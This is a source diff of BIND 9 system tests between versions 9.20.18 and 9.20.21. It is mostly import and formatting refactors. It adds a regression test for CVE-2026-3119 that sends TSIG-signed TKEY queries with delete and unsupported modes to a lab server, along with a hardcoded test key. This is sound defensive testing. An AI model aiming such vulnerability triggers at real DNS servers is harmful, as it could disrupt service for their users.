bind9-9.20.18/bin/tests/system/statschannel/tests_json.py 2026-01-09 13:39:28.199975287 +0000 +++ bind9-9.20.21/bin/tests/system/statschannel/tests_json.py 2026-03-13 22:01:10.745875941 +0000 @@ -14,13 +14,11 @@ from datetime import datetime import pytest +import requests import isctest.mark -pytest.register_assert_rewrite("generic") -import generic - -requests = pytest.importorskip("requests") +from . import generic pytestmark = [ isctest.mark.with_json_c, @@ -48,9 +46,7 @@ # JSON helper functions def fetch_zones_json(statsip, statsport): - r = requests.get( - "http://{}:{}/json/v1/zones".format(statsip, statsport), timeout=600 - ) + r = requests.get(f"http://{statsip}:{statsport}/json/v1/zones", timeout=600) assert r.status_code == 200 data = r.json() @@ -58,9 +54,7 @@ def fetch_traffic_json(statsip, statsport): - r = requests.get( - "http://{}:{}/json/v1/traffic".format(statsip, statsport), timeout=600 - ) + r = requests.get(f"http://{statsip}:{statsport}/json/v1/traffic", timeout=600) assert r.status_code == 200 data = r.json() @@ -73,7 +67,7 @@ # Check if the primary zone timer exists assert "loaded" in zone - loaded = datetime.strptime(zone["loaded"], generic.fmt) + loaded = datetime.strptime(zone["loaded"], generic.FMT) if primary: # Check if the secondary zone timers does not exist @@ -84,8 +78,8 @@ else: assert "expires" in zone assert "refresh" in zone - expires = datetime.strptime(zone["expires"], generic.fmt) - refresh = datetime.strptime(zone["refresh"], generic.fmt) + expires = datetime.strptime(zone["expires"], generic.FMT) + refresh = datetime.strptime(zone["refresh"], generic.FMT) return (name, loaded, expires, refresh) diff -Nru bind9-9.20.18/bin/tests/system/statschannel/tests_xml.py bind9-9.20.21/bin/tests/system/statschannel/tests_xml.py --- bind9-9.20.18/bin/tests/system/statschannel/tests_xml.py 2026-01-09 13:39:28.199975287 +0000 +++ bind9-9.20.21/bin/tests/system/statschannel/tests_xml.py 2026-03-13 22:01:10.745875941 +0000 @@ -12,16 +12,15 @@ # information regarding copyright ownership. from datetime import datetime + import xml.etree.ElementTree as ET import pytest +import requests import isctest.mark -pytest.register_assert_rewrite("generic") -import generic - -requests = pytest.importorskip("requests") +from . import generic pytestmark = [ isctest.mark.with_libxml2, @@ -48,9 +47,7 @@ # XML helper functions def fetch_zones_xml(statsip, statsport): - r = requests.get( - "http://{}:{}/xml/v3/zones".format(statsip, statsport), timeout=600 - ) + r = requests.get(f"http://{statsip}:{statsport}/xml/v3/zones", timeout=600) assert r.status_code == 200 root = ET.fromstring(r.text) @@ -73,9 +70,7 @@ return out - r = requests.get( - "http://{}:{}/xml/v3/traffic".format(statsip, statsport), timeout=600 - ) + r = requests.get(f"http://{statsip}:{statsport}/xml/v3/traffic", timeout=600) assert r.status_code == 200 root = ET.fromstring(r.text) @@ -86,9 +81,9 @@ proto_root = root.find("traffic").find(ip).find(proto) for counters in proto_root.findall("counters"): if counters.attrib["type"] == "request-size": - key = "dns-{}-requests-sizes-received-{}".format(proto, ip) + key = f"dns-{proto}-requests-sizes-received-{ip}" else: - key = "dns-{}-responses-sizes-sent-{}".format(proto, ip) + key = f"dns-{proto}-responses-sizes-sent-{ip}" values = load_counters(counters) traffic[key] = values @@ -101,7 +96,7 @@ loaded_el = zone.find("loaded") assert loaded_el is not None - loaded = datetime.strptime(loaded_el.text, generic.fmt) + loaded = datetime.strptime(loaded_el.text, generic.FMT) expires_el = zone.find("expires") refresh_el = zone.find("refresh") @@ -113,8 +108,8 @@ else: assert expires_el is not None assert refresh_el is not None - expires = datetime.strptime(expires_el.text, generic.fmt) - refresh = datetime.strptime(refresh_el.text, generic.fmt) + expires = datetime.strptime(expires_el.text, generic.FMT) + refresh = datetime.strptime(refresh_el.text, generic.FMT) return (name, loaded, expires, refresh) diff -Nru bind9-9.20.18/bin/tests/system/stress/tests_stress_update.py bind9-9.20.21/bin/tests/system/stress/tests_stress_update.py --- bind9-9.20.18/bin/tests/system/stress/tests_stress_update.py 2026-01-09 13:39:28.200975314 +0000 +++ bind9-9.20.21/bin/tests/system/stress/tests_stress_update.py 2026-03-13 22:01:10.746875909 +0000 @@ -12,6 +12,8 @@ import concurrent.futures import time +import dns.exception +import dns.rcode import dns.update import pytest diff -Nru bind9-9.20.18/bin/tests/system/stub/tests_stub.py bind9-9.20.21/bin/tests/system/stub/tests_stub.py --- bind9-9.20.18/bin/tests/system/stub/tests_stub.py 2026-01-09 13:39:28.201975340 +0000 +++ bind9-9.20.21/bin/tests/system/stub/tests_stub.py 2026-03-13 22:01:10.747875877 +0000 @@ -12,7 +12,7 @@ import os -import dns.message +import dns.rrset import pytest import isctest diff -Nru bind9-9.20.18/bin/tests/system/tcp/ans6/ans.py bind9-9.20.21/bin/tests/system/tcp/ans6/ans.py --- bind9-9.20.18/bin/tests/system/tcp/ans6/ans.py 2026-01-09 13:39:28.203975392 +0000 +++ bind9-9.20.21/bin/tests/system/tcp/ans6/ans.py 2026-03-13 22:01:10.750875781 +0000 @@ -39,7 +39,6 @@ import sys import time - # Timeout for establishing all connections requested by a single 'open' command. OPEN_TIMEOUT = 2 VERSION_QUERY = b"\x00\x1e\xaf\xb8\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x07version\x04bind\x00\x00\x10\x00\x03" @@ -59,14 +58,14 @@ except socket.error: family = socket.AF_INET6 - log("Opening %d connections..." % count) + log(f"Opening {count} connections...") for _ in range(count): sock = socket.socket(family, socket.SOCK_STREAM) sock.setblocking(0) err = sock.connect_ex((host, port)) if err not in (0, errno.EINPROGRESS): - log("%s on connect for socket %s" % (errno.errorcode[err], sock)) + log(f"{errno.errorcode[err]} on connect for socket {sock}") errors.append(sock) else: queued.append(sock) @@ -82,30 +81,30 @@ queued.remove(sock) err = sock.getsockopt(socket.SOL_SOCKET, socket.SO_ERROR) if err: - log("%s for socket %s" % (errno.errorcode[err], sock)) + log(f"{errno.errorcode[err]} for socket {sock}") errors.append(sock) else: sock.send(VERSION_QUERY) active_conns.append(sock) if errors: - log("result=FAIL: %d connection(s) failed" % len(errors)) + log(f"result=FAIL: {len(errors)} connection(s) failed") elif queued: - log("result=FAIL: Timed out, aborting %d pending connections" % len(queued)) + log(f"result=FAIL: Timed out, aborting {len(queued)} pending connections") for sock in queued: sock.close() else: - log("result=OK: Successfully opened %d connections" % count) + log(f"result=OK: Successfully opened {count} connections") def close_connections(active_conns, count): - log("Closing %s connections..." % "all" if count == 0 else str(count)) + log(f"Closing {'all' if count == 0 else count} connections...") if count == 0: count = len(active_conns) for _ in range(count): sock = active_conns.pop(0) sock.close() - log("result=OK: Successfully closed %d connections" % count) + log(f"result=OK: Successfully closed {count} connections") def sigterm(*_): @@ -119,7 +118,7 @@ signal.signal(signal.SIGTERM, sigterm) - with open("ans.pid", "w") as pidfile: + with open("ans.pid", "w", encoding="utf-8") as pidfile: print(os.getpid(), file=pidfile) listenip = "10.53.0.6" @@ -128,7 +127,7 @@ except KeyError: port = 5309 - log("Listening on %s:%d" % (listenip, port)) + log(f"Listening on {listenip}:{port}") ctlsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) ctlsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) @@ -136,11 +135,11 @@ ctlsock.listen(1) while True: - (clientsock, _) = ctlsock.accept() - log("Accepted control connection from %s" % clientsock) + clientsock, _ = ctlsock.accept() + log(f"Accepted control connection from {clientsock}") cmdline = clientsock.recv(512).decode("ascii").strip() if cmdline: - log("Received command: %s" % cmdline) + log(f"Received command: {cmdline}") cmd = cmdline.split() if cmd[0] == "open": count, host, port = cmd[1:] diff -Nru bind9-9.20.18/bin/tests/system/tcp/tests_tcp.py bind9-9.20.21/bin/tests/system/tcp/tests_tcp.py --- bind9-9.20.18/bin/tests/system/tcp/tests_tcp.py 2026-01-09 13:39:28.205975445 +0000 +++ bind9-9.20.21/bin/tests/system/tcp/tests_tcp.py 2026-03-13 22:01:10.751875749 +0000 @@ -11,17 +11,16 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=unused-variable - import socket import struct import time -import pytest - -pytest.importorskip("dns", minversion="2.0.0") +import dns.flags import dns.message +import dns.name import dns.query +import dns.rrset +import pytest pytestmark = pytest.mark.extra_artifacts( [ diff -Nru bind9-9.20.18/bin/tests/system/timeouts/tests_tcp_timeouts.py bind9-9.20.21/bin/tests/system/timeouts/tests_tcp_timeouts.py --- bind9-9.20.18/bin/tests/system/timeouts/tests_tcp_timeouts.py 2026-01-09 13:39:28.205975445 +0000 +++ bind9-9.20.21/bin/tests/system/timeouts/tests_tcp_timeouts.py 2026-03-13 22:01:10.752875717 +0000 @@ -11,22 +11,18 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=unused-variable - import socket import time -import pytest - -pytest.importorskip("dns", minversion="2.0.0") import dns.edns import dns.message import dns.name import dns.query import dns.rdataclass import dns.rdatatype +import pytest -import isctest.mark # pylint: disable=import-error +import isctest.mark pytestmark = pytest.mark.extra_artifacts( [ @@ -170,7 +166,7 @@ dns.query.send_tcp(sock, msg, timeout()) # Receive the initial DNS message with SOA - (response, _) = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) + response, _ = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) soa = response.get_rrset( dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA ) @@ -178,9 +174,7 @@ # Pull DNS message from wire until the second SOA is received while True: - (response, _) = dns.query.receive_tcp( - sock, timeout(), one_rr_per_rrset=True - ) + response, _ = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) soa = response.get_rrset( dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA ) @@ -226,7 +220,7 @@ dns.query.send_tcp(sock, msg, timeout()) # Receive the initial DNS message with SOA - (response, _) = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) + response, _ = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) soa = response.get_rrset( dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA ) @@ -237,7 +231,7 @@ with pytest.raises(ConnectionResetError): # Process queued TCP messages while True: - (response, _) = dns.query.receive_tcp( + response, _ = dns.query.receive_tcp( sock, timeout(), one_rr_per_rrset=True ) soa = response.get_rrset( @@ -258,7 +252,7 @@ dns.query.send_tcp(sock, msg, timeout()) # Receive the initial DNS message with SOA - (response, _) = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) + response, _ = dns.query.receive_tcp(sock, timeout(), one_rr_per_rrset=True) soa = response.get_rrset( dns.message.ANSWER, name, dns.rdataclass.IN, dns.rdatatype.SOA ) @@ -268,7 +262,7 @@ with pytest.raises(EOFError): while True: time.sleep(1) - (response, _) = dns.query.receive_tcp( + response, _ = dns.query.receive_tcp( sock, timeout(), one_rr_per_rrset=True ) soa = response.get_rrset( diff -Nru bind9-9.20.18/bin/tests/system/tkey/ns1/example.db bind9-9.20.21/bin/tests/system/tkey/ns1/example.db --- bind9-9.20.18/bin/tests/system/tkey/ns1/example.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/tkey/ns1/example.db 2026-03-13 22:01:10.752875717 +0000 @@ -0,0 +1,23 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$ORIGIN . +$TTL 300 ; 5 minutes +example.nil IN SOA ns1.example.nil. hostmaster.example.nil. ( + 1 ; serial + 2000 ; refresh (2000 seconds) + 2000 ; retry (2000 seconds) + 1814400 ; expire (3 weeks) + 3600 ; minimum (1 hour) + ) +example.nil. NS ns1.example.nil. +ns1.example.nil. A 10.53.0.1 +a.example.nil. A 10.53.0.1 diff -Nru bind9-9.20.18/bin/tests/system/tkey/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/tkey/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/tkey/ns1/named.conf.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/tkey/ns1/named.conf.j2 2026-03-13 22:01:10.752875717 +0000 @@ -0,0 +1,35 @@ +/* + * Copyright (C) Internet Systems Consortium, Inc. ("ISC") + * + * SPDX-License-Identifier: MPL-2.0 + * + * This Source Code Form is subject to the terms of the Mozilla Public + * License, v. 2.0. If a copy of the MPL was not distributed with this + * file, you can obtain one at https://mozilla.org/MPL/2.0/. + * + * See the COPYRIGHT file distributed with this work for additional + * information regarding copyright ownership. + */ + +options { + query-source address 10.53.0.1; + notify-source 10.53.0.1; + transfer-source 10.53.0.1; + port @PORT@; + pid-file "named.pid"; + listen-on { 10.53.0.1; }; + listen-on-v6 { none; }; + recursion no; + dnssec-validation no; + notify no; +}; + +key "test-key" { + algorithm "hmac-sha256"; + secret "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY="; +}; + +zone "example.nil" { + type primary; + file "example.db"; +}; diff -Nru bind9-9.20.18/bin/tests/system/tkey/tests_cve_2026_3119.py bind9-9.20.21/bin/tests/system/tkey/tests_cve_2026_3119.py --- bind9-9.20.18/bin/tests/system/tkey/tests_cve_2026_3119.py 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/tkey/tests_cve_2026_3119.py 2026-03-13 22:01:10.752875717 +0000 @@ -0,0 +1,62 @@ +#!/usr/bin/python3 + +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# SPDX-License-Identifier: MPL-2.0 +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. + +# pylint: disable=unused-variable + +import time + +import dns.message +import dns.rdataclass +import dns.rdatatype +import dns.rdtypes.ANY.TKEY +import dns.rrset +import dns.tsigkeyring +import pytest + +import isctest + +pytestmark = pytest.mark.extra_artifacts([]) + + +def create_tkey_msg(qname, mode, alg="hmac-sha256"): + msg = dns.message.make_query(qname, "TKEY") + now = int(time.time()) + rdata = dns.rdtypes.ANY.TKEY.TKEY( + rdclass=dns.rdataclass.ANY, + rdtype=dns.rdatatype.TKEY, + algorithm=alg, + inception=now - 3600, + expiration=now + 86400, + mode=mode, + error=0, + key=b"", + ) + rrset = dns.rrset.from_rdata(qname, dns.rdatatype.TKEY, rdata) + msg.additional.append(rrset) + return msg + + +def test_tkey_cve_2026_3119(ns1): + keyring = dns.tsigkeyring.from_text( + { + "test-key": "R16NojROxtxH/xbDl//ehDsHm5DjWTQ2YXV+hGC2iBY=", + } + ) + + msg_delete = create_tkey_msg("a.example.nil.", 5) + msg_delete.use_tsig(keyring, keyname="test-key") + isctest.query.tcp(msg_delete, ns1.ip, attempts=1) + + msg_unsupported = create_tkey_msg("a.example.nil.", 99) + msg_unsupported.use_tsig(keyring, keyname="test-key") + isctest.query.tcp(msg_unsupported, ns1.ip, attempts=1) diff -Nru bind9-9.20.18/bin/tests/system/tools/tests_tools_nsec3hash.py bind9-9.20.21/bin/tests/system/tools/tests_tools_nsec3hash.py --- bind9-9.20.18/bin/tests/system/tools/tests_tools_nsec3hash.py 2026-01-09 13:39:28.206975471 +0000 +++ bind9-9.20.21/bin/tests/system/tools/tests_tools_nsec3hash.py 2026-03-13 22:01:10.752875717 +0000 @@ -12,16 +12,15 @@ import os import subprocess +from dns.dnssectypes import NSEC3Hash +from hypothesis import given, settings, strategies + +import dns.dnssec import pytest -import isctest from isctest.hypothesis.strategies import dns_names -from hypothesis import strategies, given, settings - -pytest.importorskip("dns.dnssectypes") -from dns.dnssectypes import NSEC3Hash -import dns.dnssec +import isctest NSEC3HASH = os.environ.get("NSEC3HASH") diff -Nru bind9-9.20.18/bin/tests/system/tsig/ans2/ans.py bind9-9.20.21/bin/tests/system/tsig/ans2/ans.py --- bind9-9.20.18/bin/tests/system/tsig/ans2/ans.py 2026-01-09 13:39:28.208975524 +0000 +++ bind9-9.20.21/bin/tests/system/tsig/ans2/ans.py 2026-03-13 22:01:10.754875653 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.flags diff -Nru bind9-9.20.18/bin/tests/system/tsig/tests_badtime.py bind9-9.20.21/bin/tests/system/tsig/tests_badtime.py --- bind9-9.20.18/bin/tests/system/tsig/tests_badtime.py 2026-01-09 13:39:28.209975550 +0000 +++ bind9-9.20.21/bin/tests/system/tsig/tests_badtime.py 2026-03-13 22:01:10.756875589 +0000 @@ -11,19 +11,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -# pylint: disable=unused-variable - import socket import time -import pytest - -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - import dns.message import dns.query +import dns.tsig import dns.tsigkeyring +import pytest pytestmark = pytest.mark.extra_artifacts( [ diff -Nru bind9-9.20.18/bin/tests/system/tsig/tests_sh_tsig.py bind9-9.20.21/bin/tests/system/tsig/tests_sh_tsig.py --- bind9-9.20.18/bin/tests/system/tsig/tests_sh_tsig.py 2026-01-09 13:39:28.209975550 +0000 +++ bind9-9.20.21/bin/tests/system/tsig/tests_sh_tsig.py 2026-03-13 22:01:10.756875589 +0000 @@ -21,9 +21,6 @@ ] ) -# TSIG queries not supported by isctest.asyncserver with old dnspython -pytest.importorskip("dns", minversion="2.0.0") - def test_tsig(run_tests_sh): run_tests_sh() diff -Nru bind9-9.20.18/bin/tests/system/tsig/tests_tsig_hypothesis.py bind9-9.20.21/bin/tests/system/tsig/tests_tsig_hypothesis.py --- bind9-9.20.18/bin/tests/system/tsig/tests_tsig_hypothesis.py 2026-01-09 13:39:28.209975550 +0000 +++ bind9-9.20.21/bin/tests/system/tsig/tests_tsig_hypothesis.py 2026-03-13 22:01:10.756875589 +0000 @@ -11,11 +11,14 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -import time +# Silence incorrect warnings cause by hypothesis.assume() +# https://github.com/pylint-dev/pylint/issues/10785#issuecomment-3677224217 +# pylint: disable=unreachable -import pytest +import time -pytest.importorskip("dns", minversion="2.7.0") # TSIG parsing without validation +from hypothesis import assume, example, given +from hypothesis.strategies import binary, booleans, composite, just, sampled_from import dns.exception import dns.message @@ -25,13 +28,11 @@ import dns.rdtypes.ANY.TSIG import dns.rrset import dns.tsig +import pytest -import isctest from isctest.hypothesis.strategies import dns_names, uint -from hypothesis import assume, example, given -from hypothesis.strategies import binary, booleans, composite, just, sampled_from - +import isctest pytestmark = pytest.mark.extra_artifacts( [ diff -Nru bind9-9.20.18/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py bind9-9.20.21/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py --- bind9-9.20.18/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py 2026-01-09 13:39:28.210975576 +0000 +++ bind9-9.20.21/bin/tests/system/tsiggss/tests_isc_spnego_flaws.py 2026-03-13 22:01:10.757875557 +0000 @@ -20,17 +20,14 @@ import struct import time -import pytest - -import isctest - -pytest.importorskip("dns") -import dns.message import dns.name import dns.rdata import dns.rdataclass import dns.rdatatype import dns.rrset +import pytest + +import isctest pytestmark = pytest.mark.extra_artifacts( [ diff -Nru bind9-9.20.18/bin/tests/system/upforwd/tests_sh_upforwd.py bind9-9.20.21/bin/tests/system/upforwd/tests_sh_upforwd.py --- bind9-9.20.18/bin/tests/system/upforwd/tests_sh_upforwd.py 2026-01-09 13:39:28.215975707 +0000 +++ bind9-9.20.21/bin/tests/system/upforwd/tests_sh_upforwd.py 2026-03-13 22:01:10.762875397 +0000 @@ -11,9 +11,6 @@ import pytest -# isctest.asyncserver requires dnspython >= 2.0.0 -pytest.importorskip("dns", minversion="2.0.0") - pytestmark = pytest.mark.extra_artifacts( [ "Ksig0.example2*", diff -Nru bind9-9.20.18/bin/tests/system/verify/tests_verify.py bind9-9.20.21/bin/tests/system/verify/tests_verify.py --- bind9-9.20.18/bin/tests/system/verify/tests_verify.py 2026-01-09 13:39:28.215975707 +0000 +++ bind9-9.20.21/bin/tests/system/verify/tests_verify.py 2026-03-13 22:01:10.762875397 +0000 @@ -9,9 +9,10 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. +from re import compile as Re + import os import re -from re import compile as Re import pytest diff -Nru bind9-9.20.18/bin/tests/system/vulture_ignore_list.py bind9-9.20.21/bin/tests/system/vulture_ignore_list.py --- bind9-9.20.18/bin/tests/system/vulture_ignore_list.py 2026-01-09 13:39:28.217975760 +0000 +++ bind9-9.20.21/bin/tests/system/vulture_ignore_list.py 2026-03-13 22:01:10.764875333 +0000 @@ -9,6 +9,4 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -transfers_complete # unused function (cipher-suites/tests_cipher_suites.py:31) -transfers_complete # unused variable (cipher-suites/tests_cipher_suites.py:86) -token_init_and_cleanup # unused function (keyfromlabel/tests_keyfromlabel.py:43) +transfers_complete # unused function (cipher-suites/tests_cipher_suites.py:82) diff -Nru bind9-9.20.18/bin/tests/system/wildcard/tests_wildcard.py bind9-9.20.21/bin/tests/system/wildcard/tests_wildcard.py --- bind9-9.20.18/bin/tests/system/wildcard/tests_wildcard.py 2026-01-09 13:39:28.219975812 +0000 +++ bind9-9.20.21/bin/tests/system/wildcard/tests_wildcard.py 2026-03-13 22:01:10.766875269 +0000 @@ -27,19 +27,19 @@ - special behavior of rdtypes like CNAME """ -import pytest +# Silence incorrect warnings cause by hypothesis.assume() +# https://github.com/pylint-dev/pylint/issues/10785#issuecomment-3677224217 +# pylint: disable=unreachable + +from hypothesis import assume, example, given, settings -pytest.importorskip("dns", minversion="2.0.0") -import dns.message import dns.name -import dns.query -import dns.rcode import dns.rdataclass import dns.rdatatype import dns.rrset +import pytest from isctest.hypothesis.strategies import dns_names, dns_rdatatypes_without_meta -from hypothesis import assume, example, given, settings import isctest.check import isctest.name diff -Nru bind9-9.20.18/bin/tests/system/xfer/ans10/ans.py bind9-9.20.21/bin/tests/system/xfer/ans10/ans.py --- bind9-9.20.18/bin/tests/system/xfer/ans10/ans.py 2026-01-09 13:39:28.219975812 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ans10/ans.py 2026-03-13 22:01:10.767875237 +0000 @@ -9,10 +9,7 @@ # See the COPYRIGHT file distributed with this work for additional # information regarding copyright ownership. -from isctest.asyncserver import ( - AsyncDnsServer, - IgnoreAllQueries, -) +from isctest.asyncserver import AsyncDnsServer, IgnoreAllQueries def main() -> None: diff -Nru bind9-9.20.18/bin/tests/system/xfer/ans9/ans.py bind9-9.20.21/bin/tests/system/xfer/ans9/ans.py --- bind9-9.20.18/bin/tests/system/xfer/ans9/ans.py 2026-01-09 13:39:28.220975838 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ans9/ans.py 2026-03-13 22:01:10.768875205 +0000 @@ -11,7 +11,7 @@ information regarding copyright ownership. """ -from typing import AsyncGenerator +from collections.abc import AsyncGenerator import dns.rcode import dns.rdatatype @@ -19,10 +19,10 @@ from isctest.asyncserver import ( ControllableAsyncDnsServer, + DnsResponseSend, DomainHandler, QueryContext, ResponseAction, - DnsResponseSend, ToggleResponsesCommand, ) diff -Nru bind9-9.20.18/bin/tests/system/xfer/axfr-stats.good bind9-9.20.21/bin/tests/system/xfer/axfr-stats.good --- bind9-9.20.18/bin/tests/system/xfer/axfr-stats.good 2026-01-09 13:39:28.220975838 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/axfr-stats.good 1970-01-01 00:00:00.000000000 +0000 @@ -1,3 +0,0 @@ -messages=16 -records=10003 -bytes=218403 diff -Nru bind9-9.20.18/bin/tests/system/xfer/dig1.good bind9-9.20.21/bin/tests/system/xfer/dig1.good --- bind9-9.20.18/bin/tests/system/xfer/dig1.good 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/dig1.good 1970-01-01 00:00:00.000000000 +0000 @@ -1,186 +0,0 @@ -example. 86400 IN SOA ns2.example. hostmaster.example. 1397051952 5 5 1814400 3600 -example. 3600 IN NS ns2.example. -example. 3600 IN NS ns3.example. -example. 3600 IN DNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -a01.example. 3600 IN A 0.0.0.0 -a02.example. 3600 IN A 255.255.255.255 -a601.example. 3600 IN A6 0 ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff -a601.example. 3600 IN A6 64 ::ffff:ffff:ffff:ffff foo. -a601.example. 3600 IN A6 127 ::1 foo. -a601.example. 3600 IN A6 128 . -aaaa01.example. 3600 IN AAAA ::1 -aaaa02.example. 3600 IN AAAA fd92:7065:b8e:ffff::5 -afsdb01.example. 3600 IN AFSDB 0 hostname.example. -afsdb02.example. 3600 IN AFSDB 65535 . -amtrelay01.example. 3600 IN AMTRELAY 0 0 0 . -amtrelay02.example. 3600 IN AMTRELAY 0 1 0 . -amtrelay03.example. 3600 IN AMTRELAY 0 0 1 0.0.0.0 -amtrelay04.example. 3600 IN AMTRELAY 0 0 2 :: -amtrelay05.example. 3600 IN AMTRELAY 0 0 3 example.net. -amtrelay06.example. 3600 IN AMTRELAY \# 2 0004 -apl01.example. 3600 IN APL !1:10.0.0.1/32 1:10.0.0.0/24 -apl02.example. 3600 IN APL -atma01.example. 3600 IN ATMA +61200000000 -atma02.example. 3600 IN ATMA +61200000000 -atma03.example. 3600 IN ATMA 1234567890abcdef -atma04.example. 3600 IN ATMA fedcba0987654321 -avc.example. 3600 IN AVC "foo:bar" -brid.example. 3600 IN BRID abcd -caa01.example. 3600 IN CAA 0 issue "ca.example.net; policy=ev" -caa02.example. 3600 IN CAA 128 tbs "Unknown" -caa03.example. 3600 IN CAA 128 tbs "" -cdnskey01.example. 3600 IN CDNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= -cds01.example. 3600 IN CDS 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -cert01.example. 3600 IN CERT 65534 65535 PRIVATEOID MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY= -cname01.example. 3600 IN CNAME cname-target. -cname02.example. 3600 IN CNAME cname-target.example. -cname03.example. 3600 IN CNAME . -csync01.example. 3600 IN CSYNC 0 0 A NS AAAA -csync02.example. 3600 IN CSYNC 0 0 -dhcid01.example. 3600 IN DHCID AAIBY2/AuCccgoJbsaxcQc9TUapptP69lOjxfNuVAA2kjEA= -dhcid02.example. 3600 IN DHCID AAEBOSD+XR3Os/0LozeXVqcNc7FwCfQdWL3b/NaiUDlW2No= -dhcid03.example. 3600 IN DHCID AAABxLmlskllE0MVjd57zHcWmEH3pCQ6VytcKD//7es/deY= -dlv.example. 3600 IN DLV 30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9 -dname01.example. 3600 IN DNAME dname-target. -dname02.example. 3600 IN DNAME dname-target.example. -dname03.example. 3600 IN DNAME . -doa01.example. 3600 IN DOA 1234567890 1234567890 1 "image/gif" R0lGODlhKAAZAOMCAGZmZgBmmf///zOZzMz//5nM/zNmmWbM/5nMzMzMzACZ/////////////////////yH5BAEKAA8ALAAAAAAoABkAAATH8IFJK5U2a4337F5ogRkpnoCJrly7PrCKyh8c3HgAhzT35MDbbtO7/IJIHbGiOiaTxVTpSVWWLqNq1UVyapNS1wd3OAxug0LhnCubcVhsxysQnOt4ATpvvzHlFzl1AwODhWeFAgRpen5/UhheAYMFdUB4SFcpGEGGdQeCAqBBLTuSk30EeXd9pEsAbKGxjHqDSE0Sp6ixN4N1BJmbc7lIhmsBich1awPAjkY1SZR8bJWrz382SGqIBQQFQd4IsUTaX+ceuudPEQA7 -doa02.example. 3600 IN DOA 0 1 2 "" aHR0cHM6Ly93d3cuaXNjLm9yZy8= -ds01.example. 3600 IN DS 12892 5 2 26584835CA80C81C91999F31CFAF2A0E89D4FF1C8FAFD0DDB31A85C7 19277C13 -ds01.example. 3600 IN NS ns42.example. -ds02.example. 3600 IN DS 12892 5 1 7AA4A3F416C2F2391FB7AB0D434F762CD62D1390 -ds02.example. 3600 IN NS ns43.example. -dsync01.example. 3600 IN DSYNC CDS NOTIFY 53 . -eid01.example. 3600 IN EID 1289AB -eui48.example. 3600 IN EUI48 01-23-45-67-89-ab -eui64.example. 3600 IN EUI64 01-23-45-67-89-ab-cd-ef -gid01.example. 3600 IN GID \# 1 03 -gpos01.example. 3600 IN GPOS "-22.6882" "116.8652" "250.0" -gpos02.example. 3600 IN GPOS "" "" "" -hhit.example. 3600 IN HHIT abcd -hinfo01.example. 3600 IN HINFO "Generic PC clone" "NetBSD-1.4" -hinfo02.example. 3600 IN HINFO "PC" "NetBSD" -hip1.example. 3600 IN HIP 2 200100107B1A74DF365639CC39F1D578 